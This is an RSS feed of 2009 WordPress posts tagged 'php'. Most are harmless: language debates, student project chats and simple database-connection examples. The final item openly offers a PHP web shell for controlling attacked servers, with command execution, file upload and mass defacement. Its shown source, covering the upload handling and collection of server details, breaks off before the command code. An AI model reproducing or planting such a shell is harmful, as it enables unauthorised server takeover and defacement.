<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>php &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://en.wordpress.com/tag/php/</link>
	<description>Feed of posts on WordPress.com tagged "php"</description>
	<pubDate>Mon, 23 Nov 2009 05:51:12 +0000</pubDate>

	<generator>http://en.wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[Editor TinyMce]]></title>
<link>http://pylox08.wordpress.com/2009/11/23/editor-tinymce/</link>
<pubDate>Mon, 23 Nov 2009 04:14:29 +0000</pubDate>
<dc:creator>Nawan</dc:creator>
<guid>http://pylox08.wordpress.com/2009/11/23/editor-tinymce/</guid>
<description><![CDATA[Pernah kita nulis sesuatu di web forum atau dimanalah.. Pokoknya di Internet, tetapi kotak yang dise]]></description>
<content:encoded><![CDATA[Pernah kita nulis sesuatu di web forum atau dimanalah.. Pokoknya di Internet, tetapi kotak yang dise]]></content:encoded>
</item>
<item>
<title><![CDATA[php não é coisa de moleque]]></title>
<link>http://mdbaweb.wordpress.com/2009/11/23/php-nao-e-coisa-de-moleque/</link>
<pubDate>Mon, 23 Nov 2009 02:23:34 +0000</pubDate>
<dc:creator>mdba2008</dc:creator>
<guid>http://mdbaweb.wordpress.com/2009/11/23/php-nao-e-coisa-de-moleque/</guid>
<description><![CDATA[http://www.slideshare.net/felipernb/php-no-coisa-de-moleque-presentation]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>http://www.slideshare.net/felipernb/php-no-coisa-de-moleque-presentation</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cookies!]]></title>
<link>http://doncorr.wordpress.com/2009/11/22/cookies/</link>
<pubDate>Mon, 23 Nov 2009 02:19:06 +0000</pubDate>
<dc:creator>doncorr</dc:creator>
<guid>http://doncorr.wordpress.com/2009/11/22/cookies/</guid>
<description><![CDATA[When a Muppet retires, he may go to the Jim Henson Company Archives. He may not merely report to the]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p style="text-align:left;">When a Muppet retires, he may go to the Jim Henson Company Archives. He may not merely report to the archives in puppet form, though&#8212;he may show up as an animation cell or even a sketch by Jim Henson himself. Cookie Monster, Elmo and Kermit will be preserved for future generations of Sesame Street viewers&#8212;and for those of us who enjoy the reruns.</p>
<p style="text-align:left;">The archives are now in turn preserved&#8212;or at least described&#8212; on a wiki, <a title="Henson media wiki" href="http://muppet.wikia.com/wiki/The_Jim_Henson_Company_Archives" target="_blank">http://muppet.wikia.com/wiki/The_Jim_Henson_Company_Archives</a>.</p>
<p style="text-align:left;">While the wiki doesn&#8217;t necessarily present the archives as being especially innovative, the MediaWiki itself is worth considering as a point of discussion. Originally for use on Wikipedia, <a href="http://www.mediawiki.org/wiki/MediaWiki" target="_blank">MW</a> is open-source PHP (briefly, Web-development scripting language) software. <a href="http://www.wikia.com/wiki/Wikia:About" target="_blank">Wikia.com</a> has utilized the software, via a <a href="http://en.wikipedia.org/wiki/Free_content" target="_blank">free content</a> license, to develop a wiki site to be used by &#8220;millions of passionate fans.&#8221; While the Jim Henson Company Archive entry seems to be accurate and informed, the banner ads surrounding the wiki entry are off-putting. Is it right to profit from open-source software? If it is, by how much? Non-profits developing software utilized by for-profit companies?</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Programador PHP, ou mala sem alça?]]></title>
<link>http://mdbaweb.wordpress.com/2009/11/23/programador-php-ou-mala-sem-alca/</link>
<pubDate>Mon, 23 Nov 2009 02:11:02 +0000</pubDate>
<dc:creator>mdba2008</dc:creator>
<guid>http://mdbaweb.wordpress.com/2009/11/23/programador-php-ou-mala-sem-alca/</guid>
<description><![CDATA[Essa semana um dos tópicos da comunida de PHP Brasil no orkut para variar me deixou puto, http://www]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Essa semana um dos tópicos da comunida de PHP Brasil no orkut para variar me deixou puto,  http://www.orkut.com/Main#CommMsgs?cmm=19610&#38;tid=5402033389233893341&#38;start=1, o professor de um cara da comunidade resolveu trollar o PHP, os argumentos do ser humano são:</p>
<p>1) O desenvolvimento em php é lento.</p>
<p>2) As funções são mal feitas e exigem muito dos servidores.</p>
<p>3) Por despreparo dos profissionais o desenvolvimento é feito na base da gambiarra.</p>
<p>4) O desenvolvimento em jsf e asp é muito mais rápido, simples e poderoso.</p>
<p>5) Até existem bons frameworks mas a falta de um padrão entre eles atrapalha o desenvolvimento.</p>
<p>6) A grande maioria dos portais de grande porte não usam php.</p>
<p>7) Um desenvolvedor asp e jsp tem o salário bem maior que o do desenvolvedor php. entre outras coisas</p>
<p>Bem vamos lá primeiro respondemos a estes argumentos:</p>
<p>1-) O Desenvolvimento em PHP é lento: A primeira característica de um argumento falho é que ele não faz sentido, o que é lento de se desenvolver em PHP ? É lento comparado a que ? Eu já vi caras desenvolverem e-commerces monstruosos em 2 semanas, usando boas práticas de programação e PHP, isso para mim não é lentidão.</p>
<p>2-)As funções são mal feitas e exigem muito dos servidores. Comparado a que, ele fez benchmark de todas as funções do PHP ? Estou falando das do Core de Linguagem, porque funções feitas por programadores, ainda mais alunos dele, não contam pra linguagem como um todo.</p>
<p>3-)Por despreparo dos profissionais o desenvolvimento é feito na base da gambiarra. Perai isso é um problema da linguagem ou de quem prepara o desenvolvedor, e ai professor tirando o teu da reta para jogar no da linguagem, existem gambiarras em Java, e como tem, em C#, e como tem em COBOL, goto, em C, mas falar mal do PHP disfarça a incapacidade de certos “professores” em ensinar.</p>
<p>4-)O desenvolvimento em jsf e asp é muito mais rápido, simples e poderoso. O ASP é tão bom que foi descontinuado e a Microsoft tá adotando PHP e trabalhando com a comunidade do mesmo, quando você ver algo tão forte quanto o Webmin, que é usado para administrar parques de servidores inteiros,feitos em ASP fala comigo. Quanto o Java Server Faces, é mais uma tentativa desesperada de por java no mundo Web, mas não conheço. Detalhe que JSP foi um retumbante fracasso.</p>
<p>5-) Até existem bons frameworks mas a falta de um padrão entre eles atrapalha o desenvolvimento.: Esse cara sabe o que é um framework ? Porque padronizar a maneira dos frameworks trabalharem, o que você preferiria uma caixa de ferramentas aonde cada uma faz exatamente o que você quer ou um monte de grifos ? E quando você precisa do Martelo? O que você faz ? Hoje você tem Codeigniter, o Zend Framework e vamos ser honestos tem pouca coisa que esses frameworks não fazem. Sem contar que dá para estendê-los…</p>
<p>6-)A grande maioria dos portais de grande porte não usam php. Bem o maior portal do mundo é o Facebook e ele é feito em PHP, o Youtube quando explodiu era feito em PHP, maldita mania do google de migrar tudo para Python, o Digg, PHP, a maioria dos portais do governo, PHP, o Yahoo, PHP … Então eu pergunto a esse ser: Me mostra o teu estudo. O universo que você procurou que ai a gente discute.</p>
<p>7) Um desenvolvedor asp e jsp tem o salário bem maior que o do desenvolvedor php Esse é o ponto principal, isso acontede por 4 grandes motivos na minha opinião:</p>
<p>A-) PHP por ser uma linguagem de fácil aprendizado, tem um monte de sobrinhos que acham que sabem programar, e as empresas web de fundo de quintal contratam uma porrada desses caras, e voualá temos um problema de várias cagadas sérias sendo publicadas na Web</p>
<p>B-)O programador PHP não se vende, a galera fica nessa porra de “A eu trabalho com PHP, mas vou trabalhar com Java para encher o rabo de dinheiro!” Então vai começa a encher o rabo de dinheiro hoje e não amanhã assim é mehor.</p>
<p>C-) A comunidade no Brasil é fraca, tá cheio de líder de comunidade, evangelista e o diabo a quatro, mas falta trabalho sério, ficar usando a comunidade para se autopromover e se dizer o bom pro público externo é um desserviço prestado. Quer se promover mostra o seu código e mostra que é bom.</p>
<p>D-) Vendamos o PHP, derrubemos os mitos que só Java faz isso, só C# faz aquilo, PHP é a linguagem da Web e a gente tem de ser os primeiros a defender a linguagem, espaço no mercado se conquista e conquistas vem com luta. A gente não sabe defender o PHP temos de fazer flame quando os caras de java falarem bosta. Demarcar espaço, simples assim.</p>
<p>Fonte: http://phprocks.com.br/</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tehnologii - Prolog]]></title>
<link>http://myuglycreature.wordpress.com/2009/11/23/tehnologii-prolog/</link>
<pubDate>Mon, 23 Nov 2009 01:48:45 +0000</pubDate>
<dc:creator>mbarbulescu</dc:creator>
<guid>http://myuglycreature.wordpress.com/2009/11/23/tehnologii-prolog/</guid>
<description><![CDATA[Primul gand pe care l-am avut cu totii in echipa a fost &#8220;in ce codam&#8221;. A fost usor sa tr]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Primul gand pe care l-am avut cu totii in echipa a fost &#8220;in ce codam&#8221;. A fost usor sa trecem prin cei cativa termeni, care ne mai trecusera pe la ureche, si sa alegem Metoda aia *usoara* prin care tot ce era desenat pe hartie si gandit, sa devina realitate&#8230; web. La fel de usor a fost sa incercam sa scriem primele linii de cod mai complicate ca sa ne dam seama ca trebuie sa si gusti inainte sa mananci. Si ca sa trecem in planul concretului ne-am gandit la 3 metode de a face paginile sa fie dinamice (adica sa integram o comunitate, sa avem pagini context sensibile) : un framework, un cms sau php de la 0.</p>
<p>La capitolul framework, am constatat ca este destul de popular codeigniter (http://www.codeigniter.com) si dupa vizionarea a exact doua tutoriale video cu tot cu incercat cod, am fost convinsi ca si noi putem sa dezvoltam un intreg website in 20 de minute (precum video-ul arata un blog gata in tot atatea minute). Problema cu un framework este dificultatea de a intelege cum lucreaza bibliotecile, ce trebuie sa incarci si ce module fac ceea ce zic ca fac. O problema cu care m-am  confruntat personal a fost o simpla logare. In primul rand nu exista modulul gata facut de autentificare ci trebuie supraincarcate anumite clase. In al doilea rand, voiam sa ma folosesc de cunostintele, de baza, de PHP, insa constatam ca pana si sesiunile sunt vazute altfel. Concluzia noastra este ca un framework se studiaza intai. Avantajul, totusi,  al unui astfel de framework este modelul MVC care personal mi s-a parut intuitiv si foarte aplicabil.</p>
<p>Frameworkul Zend a fost inca o propunere, laudat fiind si pentru ca php are module zend, insa nu am reusit sa trecem de configurarea acestuia.</p>
<p>Punctul doi in aceasta discutie, ar fi un Content Management System. Din pacate, tema aleasa nu se preteaza la o astfel de abordare. Sigur ca putem scrie module php pentru CMS, dar intervine si aici problema studierii sistemului. Am fi mers ori pe Joomla ori pe WordPress, care vin si cu un design gata facut si customizabil (mai putin la WordPress).</p>
<p>Solutia numarul 3 ne avantajaza cel mai mult, php de la 0.  Cateva minute pe w3schools si doua trei exemple de lucru cu baza de date face ca PHP sa nu para o necunoscuta. Exista mii de linii de sample code utilizabil si customizabil, apoi reutilizabil in cadrul aceluiasi proiect. Suntem obisnuiti sa codam in C, Java, Scheme, Haskel, Prolog, CLIPS chiar si Verilog, limbajul nu este o problema.  De asemenea partea de control (administratorul) nu trebuie sa fie extrem de complex, noi construim sistem, stim cum merge. Singurul dezavantaj este securitatea care s-ar putea sa ne dea batai de cap.</p>
<p>Cam atat pe partea de programare pe server.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Concluziile Chat-ului #2]]></title>
<link>http://thewebbies.wordpress.com/2009/11/22/concluziile-chat-ului-2/</link>
<pubDate>Sun, 22 Nov 2009 23:21:11 +0000</pubDate>
<dc:creator>andreitra</dc:creator>
<guid>http://thewebbies.wordpress.com/2009/11/22/concluziile-chat-ului-2/</guid>
<description><![CDATA[(De fapt ar trebui sa fie chat-ul #1 avand in vedere ca nu am mai avut si prima discutie, intrucat n]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>(De fapt ar trebui sa fie chat-ul #1 avand in vedere ca nu am mai avut si prima discutie, intrucat nu mergea concertChat-ul, dar facem abstractie <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )</p>
<p>Am avut in seara de duminica un chat impreuna cu Mircea (WebSmiths), Sergiu (QWERTY), Tiberiu (Gold) si Catalin (Power Over Web) legat la tehnologiile utilizate pentru implementarea site-ului. A fost o discutie foarte interesanta, care s-a intins peste 2 ore, in care am discutat despre mai multe lucruri.</p>
<p>Astfel, intai am vorbit eu despre beneficiile JavaScript  si am cazut de acord ca este un mecanism foarte util in dezvoltarea unei interfete. Am continuat cu PHP-ul despre care ne-a vorbit Catalin &#8211; o alta solutie consacrata careia am avut putine lucrui sa-i reprosam, cu atat mai putin cu cat beneficiaza de un suport enorm in ziua de astazi. Tiberiu ne-a povestit despre aventurile lui cu AJAX si ne-a explicat de ce proiectul echipei sale va utiliza mai mult aceasta tehnologie.</p>
<p>Ulterior, am schimbat putin registrul, trecand de la tehnologii &#8220;de baza&#8221; (ca sa le zic asa) la platforme deja implementate, care vin sa simplifice viata (cel putin pe hartie <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ) dezvoltatorului implementand deja anumite functionalitati sau oferind o serie de servicii facile acestuia. Am discutat impreuna cu Mircea despre JavaFX ca inlocuitor pentru AJAX, Flash sau Silverlight, oferind posibilitatea integrarii de cod Java direct in aplicatie (cu performantele de viteza aduse de acesta). In final, am discutat cu Sergiu legat de CMS-uri (Content Management Systems), ce reprezinta platforme care faciliteaza dezvoltarea de content Web prin utlizarea unor programe implementate in limbaje consacrate. Astfel de CMS-uri sunt Drupal sau WordPress. In particular, topic-ul CMS-ului WordPress a fost foarte bine-venit, intrucat echipa noastra tocmai ce luase decizia de a migra proiectul, renuntand la ideea &#8220;facem totul de la 0&#8243;, catre o solutie bazata pe o structura deja implementata.</p>
<p>Discutia s-a dovedit a fi una interesanta, in care am putut afla despre unele tehnologii noi, impreuna cu avantajele / dezavantajele lor si aplicatiile in care se preteaza a fi folosite.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Solutii tehnice]]></title>
<link>http://pow3rpuffgirls.wordpress.com/2009/11/23/solutii-tehnice/</link>
<pubDate>Sun, 22 Nov 2009 23:14:47 +0000</pubDate>
<dc:creator>Simona Posea</dc:creator>
<guid>http://pow3rpuffgirls.wordpress.com/2009/11/23/solutii-tehnice/</guid>
<description><![CDATA[In aceasta seara, impreuna cu inca 3 reprezentati din echipe diferite, ne-am strans sa discutam desp]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>In aceasta seara, impreuna cu inca 3 reprezentati din echipe diferite, ne-am strans sa discutam despre solutiile tehnice pe care fiecare dintre noi le propune (sau deja le-a folosit) in dezvoltarea proiectului sau.</p>
<p>Cei 3 cu care am avut onoarea sa discut sunt:</p>
<ul>
<li><strong>Mihai Dumitrescu</strong> &#8211; managerul echipei Backwards IOC</li>
<li><strong>George Neagoe </strong> &#8211; responsabilul tehnic al echipei Muzeu Upb</li>
<li><strong>Dumbrava Maria</strong> &#8211; managerul echipei ITea</li>
</ul>
<p>Ca o privire de ansamblu,  tehnologiile folosite/sau pe care intentionam sa le folosim sunt:  <strong>php+mysql, javascript, xml si flash.</strong></p>
<p>Mihai ne-a vorbit si despre Joomla, care se pare ca face aproape totul in locul tau  (fapt pentru care o sa-l incerc si eu cat mai curand <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )</p>
<p>Oricum, discutia nu s-a rezumat doar la acestea de mai sus.  Transcript-ul conversatiei poate fi gasiti <a href="http://ltfll-lin.code.ro:11080/concertChat/roomContent.jsp?channelID=PG-FI-TH-BI-E3">aici</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Пишу пользовательскую систему заявок.]]></title>
<link>http://hidx.wordpress.com/2009/11/23/%d0%bf%d0%b8%d1%88%d1%83-%d0%bf%d0%be%d0%bb%d1%8c%d0%b7%d0%be%d0%b2%d0%b0%d1%82%d0%b5%d0%bb%d1%8c%d1%81%d0%ba%d1%83%d1%8e-%d1%81%d0%b8%d1%81%d1%82%d0%b5%d0%bc%d1%83-%d0%b7%d0%b0%d1%8f%d0%b2%d0%be/</link>
<pubDate>Sun, 22 Nov 2009 22:06:53 +0000</pubDate>
<dc:creator>Максим HidX</dc:creator>
<guid>http://hidx.wordpress.com/2009/11/23/%d0%bf%d0%b8%d1%88%d1%83-%d0%bf%d0%be%d0%bb%d1%8c%d0%b7%d0%be%d0%b2%d0%b0%d1%82%d0%b5%d0%bb%d1%8c%d1%81%d0%ba%d1%83%d1%8e-%d1%81%d0%b8%d1%81%d1%82%d0%b5%d0%bc%d1%83-%d0%b7%d0%b0%d1%8f%d0%b2%d0%be/</guid>
<description><![CDATA[Идея, реализовать пользовательскую систему заявок назревала очень давно, уже как год наверно. Ни о к]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="aligncenter size-full wp-image-929" title="pm" src="http://hidx.wordpress.com/files/2009/11/pm.jpg" alt="" width="700" height="433" /></p>
<p>Идея, реализовать пользовательскую систему заявок назревала очень давно, уже как год наверно. Ни о каком подобии хелпдеска речь не идёт. Необходима самая простая система. Собственно, начал по тихоньку писать первую версию&#8230; ну как писать, халтура конечно&#8230; Если что то из этого выйдет, буду постить об этом тут.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[WAMP meets Wordpress]]></title>
<link>http://thewebbies.wordpress.com/2009/11/22/wamp-meets-wordpress/</link>
<pubDate>Sun, 22 Nov 2009 21:15:23 +0000</pubDate>
<dc:creator>voicualexandruteodor</dc:creator>
<guid>http://thewebbies.wordpress.com/2009/11/22/wamp-meets-wordpress/</guid>
<description><![CDATA[Dupa numeroase cautari a celei mai simple metode de a crea un blog am ajuns la trei variante: gasit ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Dupa numeroase cautari a celei mai simple metode de a crea un blog am ajuns la trei variante:</p>
<ol>
<li>gasit pe net un tutorial cu cod sursa pentru un blog scris in PHP si compania.</li>
<li>folosit un framework de PHP.</li>
<li>folosit wordpress ca tot avem un blog pe el.</li>
</ol>
<p>Dupa cateva search-uri pe google prima varianta a cam cazut, negasind nimic destul de complex (trebuia sa foloseasca si MySQL) si destul de simplu explicat sa priceapa si mintile noastre de n00bs in ale programarii pe web.</p>
<p>Legat de framework-uri de PHP totul suna foarte bine, chiar incepusem sa ne documentam despre care framework ar fi mai bun: <a href="http://www.phpframeworks.com/" target="_blank">http://www.phpframeworks.com</a>, preferatul nostru fiind <a href="http://codeigniter.com/" target="_blank">codeigniter</a>. Chiar vazusem un filmulet: how to create a blog in 20 minutes, pe care chiar as fi vrut sa il vizionez (<a href="http://codeigniter.com/tutorials/watch/blog/" target="_blank">http://codeigniter.com/tutorials/watch/blog/</a>).  Aici aveam insa mici dubii cu privire la necesitatea sau nu a acestui framework pe serverul de PHP (inca nu m-am lamurit).</p>
<p>Astazi insa am dat peste un blog foarte frumos realizat de catre colegii nostri de la <a title="Tips and tricks pentru studentii de la Calculatoare UPB" href="http://qwertyrus.wordpress.com/" target="_blank">qwerty</a>: <a href="http://cstips.info/" target="_blank">http://cstips.info/</a>. Am discutat cu ei si am aflat ca au plecat de la un blog de wordpress (care se poate downloada de <a href="http://wordpress.org/download/" target="_blank">aici</a>) pe care l-au pus si integrat foarte rapid pe serverul care le face host-ing, si au putut sa isi configureze aspectul blogului si anumite accesorii din ele cum au vrut (doar aveau codul sursa la dispozitie acum).</p>
<p>Asa ca ne-am gandit si noi ca ar fi o idee foarte buna sa pastram CMS celor de la WordPress si sa trecem pe &#8220;versiunea .org&#8221;. Pe langa codul sursa la care avem acces, acum am citit pe net si de existenta a numeroase teme care pot fi integrate usor pe wordpress.org si a Plugins care apare la setarile blogului pentru admin.</p>
<p>Nerabdatori sa incercam noua descoperire, si dat fiind faptul ca nu aveam inca suport de MySQL pe server (ne lipseste doar baza de date din cate am intels, serverul/daemonul este instalat), am incercat (si reusit) sa integram acest blog nou de WordPress cu serverul de WAMP instalat local, rezultand un blog host-uit local (si private) de moi.</p>
<p>Setarea unui blog de WordPress se face foarte usor (<a href="http://codex.wordpress.org/Installing_WordPress#Famous_5-Minute_Install" target="_blank">5 minute</a>) de indata ce ai cateva detalii despre baza de date pe care o vei folosi. Aici treaba a fost putin complicata pana m-am prins la ce e bun utilitarul phpmyadmin care vine pe langa PHP, MySQL si Apache Server instaland WAMP. Din phpmyadmin se poate crea o noua baza de date si seta un user si password pe aceasta (exact ce trebuie pentru setarea blogului de WordPress). Apoi dupa un copy-paste in directorul www, gata blog-ul, care nu mai depinde de wordpress (putem modifica fisierele .CSS si .php astfel incat sa adaugam ce functionalitati consideram noi ca ar mai trebuie sa aveam in plus sau in minus).</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tonight we chat]]></title>
<link>http://pow4ioc.wordpress.com/2009/11/22/tonight-we-chat/</link>
<pubDate>Sun, 22 Nov 2009 21:06:38 +0000</pubDate>
<dc:creator>Frățilă Cătălin Ionuț</dc:creator>
<guid>http://pow4ioc.wordpress.com/2009/11/22/tonight-we-chat/</guid>
<description><![CDATA[În seara asta 5 manageri de echipe ne-am strâns pentru a discuta despre tehnologiile folosite de fie]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>În seara asta 5 manageri de echipe ne-am strâns pentru a discuta despre tehnologiile folosite de fiecare în cadrul proiectului.</p>
<p>Sesiunea a durat cam 2 ore și fiecare am abordat câte o tehnologie importanta în următoarea ordine:</p>
<p>1) Andrei &#8211; JavaScript</p>
<ul>
<li>a punctat foarte bine caracteristicile acestui limbaj de scripting client-side</li>
<li>am discutat apoi despre utilitatea acestui limbaj</li>
<li>am amintit de Firebug ca si aplicatie pentru debugging-ul codului</li>
<li>Sergiu a amintit de framework-uri precum JQuery și YUI</li>
</ul>
<p>2) Eu &#8211; PHP (bineînțeles)</p>
<ul>
<li>limbaj de scripting server-side</li>
<li>foarte bine documentat, fiind baza pentru foarte multe site-uri din prezent</li>
<li>weak typing</li>
<li>PHP ca limbaj orientat obiect</li>
</ul>
<p>3) Tibi &#8211; AJAX</p>
<ul>
<li>Asynchronous JavaScript and XML</li>
<li>nu este un limbaj propriu-zis, folosind JavaScript pentru partea de codare și XML pentru formatul raspunsurilor. Raspunsurile pot fi și în format JSON sau plain text.</li>
<li>ne-a dat un exemplu cu o apllicație cu chat și a subliniat importanta metodei asincrone de comunicare</li>
</ul>
<p>4) Mircea &#8211; JavaFX</p>
<ul>
<li><a href="http://en.wikipedia.org/wiki/Rich_Internet_application" target="_blank">RIA (Rich Internet Application)</a></li>
<li><a href="http://javafx.com/samples/" target="_blank">http://javafx.com/samples/</a> &#8211; pentru exemple</li>
<li>un bun inlocuitor pentru Silverlight sau Flash</li>
<li>foarte bun pentru dezvoltarea unui joc online, browser based</li>
</ul>
<p>5) Sergiu &#8211; CMS-uri (WordPress)</p>
<ul>
<li>Content Management Systems</li>
<li>”CMS-urile sunt o serie de programe, scrise de obicei într-un limbaj server site(PHP de exemplu dar nu numai) care folosesc HTML, CSS, AJAX și altele pentru a facilita afisarea și editarea de continut într-un mod facil”</li>
<li>am discutat și despre diferențele dintre CMS-uri și Framework-urile PHP și despre folosire CMS sau scriere cod de la zero.</li>
</ul>
<p>Mai multe găsiți și pe pagina asociată <a href="http://ltfll-lin.code.ro:11080/concertChat/roomContent.jsp?channelID=Chat_Etapa_3" target="_blank">transcript</a>-ului asociat chat-ului nostru.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Criando conexão com Banco de dados]]></title>
<link>http://edsonmri.wordpress.com/2009/11/22/criando-conexao-com-banco-de-dados/</link>
<pubDate>Sun, 22 Nov 2009 20:54:56 +0000</pubDate>
<dc:creator>edsonmri</dc:creator>
<guid>http://edsonmri.wordpress.com/2009/11/22/criando-conexao-com-banco-de-dados/</guid>
<description><![CDATA[Nesse exemplo, mostro como criar uma conexão com banco de dados: &lt;?php $conexao = mysql_connect(]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Nesse exemplo, mostro como criar uma conexão com banco de dados:</p>
<p><span style="color:#666699;">&#60;?php</span></p>
<p><span style="color:#666699;">$conexao = mysql_connect(&#8220;nome_servidor&#8221;,  &#8220;usuario_bd&#8221;, &#8220;senha&#8221;) or die (&#8220;não foi possivel conectar ao db&#8221;);</span><span style="color:#666699;"> mysql_select_db(&#8220;nome_db&#8221;) or die (&#8220;não foi possivel conectar ao db&#8221;);<br />
</span></p>
<p><span style="color:#666699;">?&#62;</span></p>
<p><span style="color:#666699;"><br />
</span></p>
<p><span style="color:#666699;"><strong>$conexao</strong> -&#62;  variavel que armazena a conexão com o banco.<br />
<strong>mysql_connect()</strong> -&#62;  responsavel por fazer a coneção com o banco de dados.<br />
<strong>mysql_select_db()</strong> -&#62;  faz a seleção do banco de dados que será manipulado.<br />
<strong>or die()</strong> -&#62;  caso ocorra algum erro, retorna a mensagem entre as aspas.</span></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Recuperar información de una base de datos y mostrarla en un webBrowser (C#, PHP, XML, XSLT)]]></title>
<link>http://elcheonline.wordpress.com/2009/11/22/recuperar-informacion-de-una-base-de-datos-y-mostrarla-en-un-webbrowser-c-php-xml-xslt/</link>
<pubDate>Sun, 22 Nov 2009 19:15:53 +0000</pubDate>
<dc:creator>admin</dc:creator>
<guid>http://elcheonline.wordpress.com/2009/11/22/recuperar-informacion-de-una-base-de-datos-y-mostrarla-en-un-webbrowser-c-php-xml-xslt/</guid>
<description><![CDATA[Código fuente ejemplo que recupera información de una base de datos y la muestra en el webbrowser de]]></description>
<content:encoded><![CDATA[Código fuente ejemplo que recupera información de una base de datos y la muestra en el webbrowser de]]></content:encoded>
</item>
<item>
<title><![CDATA[XxX Shell By Guasón]]></title>
<link>http://coderguason.wordpress.com/2009/11/22/xxx-shell-by-guason/</link>
<pubDate>Sun, 22 Nov 2009 19:11:33 +0000</pubDate>
<dc:creator>coderguason</dc:creator>
<guid>http://coderguason.wordpress.com/2009/11/22/xxx-shell-by-guason/</guid>
<description><![CDATA[Hola aca les dejo el codigo de una shell en php que hice para no usar cosas de los demas que me hace]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Hola aca les dejo el codigo de una shell en php que hice para no usar cosas de los demas que me hace sentir inferior xD.</p>
<p>Funciones =  [+] Toma control del sistema atacado y extrae informacion sobre su sistema<br />
                          [+] Se puede ejecutar comandos<br />
                          [+] Se puede crear y eliminar archivos<br />
                          [+] Se puede subir archivos<br />
                          [+] Se puede hacer un masivo deface salvando solo la shell<br />
                          [+] Se puede hacer autodestruccion de la shell</p>
<p><code>&#60;?</p>
<p>error_reporting(0);</p>
<p>/*</p>
<p>Name program = XxX Shell<br />
Version = 1.2<br />
Autor = Guasón</p>
<p>Funciones =  [+] Toma control del sistema atacado y extrae informacion sobre su sistema<br />
                          [+] Se puede ejecutar comandos<br />
                          [+] Se puede crear y eliminar archivos<br />
                          [+] Se puede subir archivos<br />
                          [+] Se puede hacer un masivo deface salvando solo la shell<br />
                          [+] Se puede hacer autodestruccion de la shell</p>
<p>Email = guason-cracker@hotmail.com<br />
Blog = guason-cracker.blogspot.com<br />
Agradecimientos = A los foro US ,LH , El-hacker , perlenespañol pero solo a explorer los otros no dan bola</p>
<p>*/</p>
<p>if(!empty($_GET[&#39;cmd&#39;])){<br />
if(isset($_POST[&#39;set&#39;]))<br />
if(isset($_FILES[&#39;fi&#39;]))<br />
if(!@move_uploaded_file($_FILES[&#39;fi&#39;][&#39;tmp_name&#39;],$_FILES[&#39;fi&#39;][&#39;name&#39;])) $sm.=&#39;<span class="error">Could not move uploaded file!</span>';<br />
if(@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on"){ $SM = true; $RSM = "<font color='red'>ON</font>";}else { $SM = false; $RSM = "<font color='cyan'>OFF</font>";}}</p>
<p>$host = $_SERVER['HTTP_HOST'];<br />
$ip = $_SERVER['REMOTE_ADDR'];<br />
$servip = $_SERVER['SERVER_ADDR'];<br />
$server = $_SERVER['SERVER_SOFTWARE'];<br />
$browser = $_SERVER['HTTP_USER_AGENT'];<br />
$port = $_SERVER['SERVER_PORT'];<br />
$filename = $_SERVER['SCRIPT_NAME'];<br />
$phpver = phpversion( );<br />
$chdir = getcwd( );</p>
<p>list($fin,$final) = explode( "/",$filename);</p>
<p>$salida = '';<br />
$salida.='XxX Shell 1.2 Written By Guasón';<br />
$salida.= '';<br />
$salida.= '';<br />
$salida.= 'body {<br />
	background-color: #000000;</p>
<p>	margin-left: 0px;<br />
	margin-top: 0px;<br />
}<br />
.posthidden {display:none} .postshown {display:inline}<br />
--&#62;</p>
<p>';</p>
<p>$salida.='<br />
<h1><b>Welcome to the hell</b></h1>
<p>';<br />
$salida.= '<br />';<br />
$salida.= '<br />';<br />
$salida.=" <b>DATOS DEL SERVIDOR ATACADO</b></p>
<p>";<br />
$salida.="<b>HOST = $host</b><br />";<br />
$salida.="<b>IP DEL SERVIDOR = $servip</b>";<br />
$salida.="<br /><b>TU IP = $ip</b><br />";<br />
$salida.= "<b>TU NAVEGADOR = $browser<b><br />";<br />
$salida.= "<b>PUERTO = $port</b><br />";<br />
$salida.= "<b>ARCHIVO ACTIVO = $final</b><br />";<br />
$salida.= "<b>VERSION PHP = $phpver</b><br />";<br />
$salida.= "<b>DIR = $chdir</b><br />";<br />
$salida.= '<br />';<br />
$salida.= '<br />';</p>
<p>echo $salida;</p>
<p>echo<br />
"body {scrollbar-face-color: #000000; font-size: 10px; scrollbar-highlight-color: cyan; scrollbar-shadow-color: cyan; scrollbar-3dlight-color: #000000; scrollbar-arrow-color: cyan; scrollbar-track-color: #000000; font-family: verdana; scrollbar-darkshadow-color: #000000;}" .<br />
"table {border-width: 1px;border-spacing: 1px;border-style: solid;border-color: cyan;border-collapse: separate;background-color: rgb(98, 97,97);}". "div{display:none;} td {border-width: 1px;padding: 1px;border-style: none;border-color: cyan;background-color: #000000;-moz-border-radius: 0px;}" .<br />
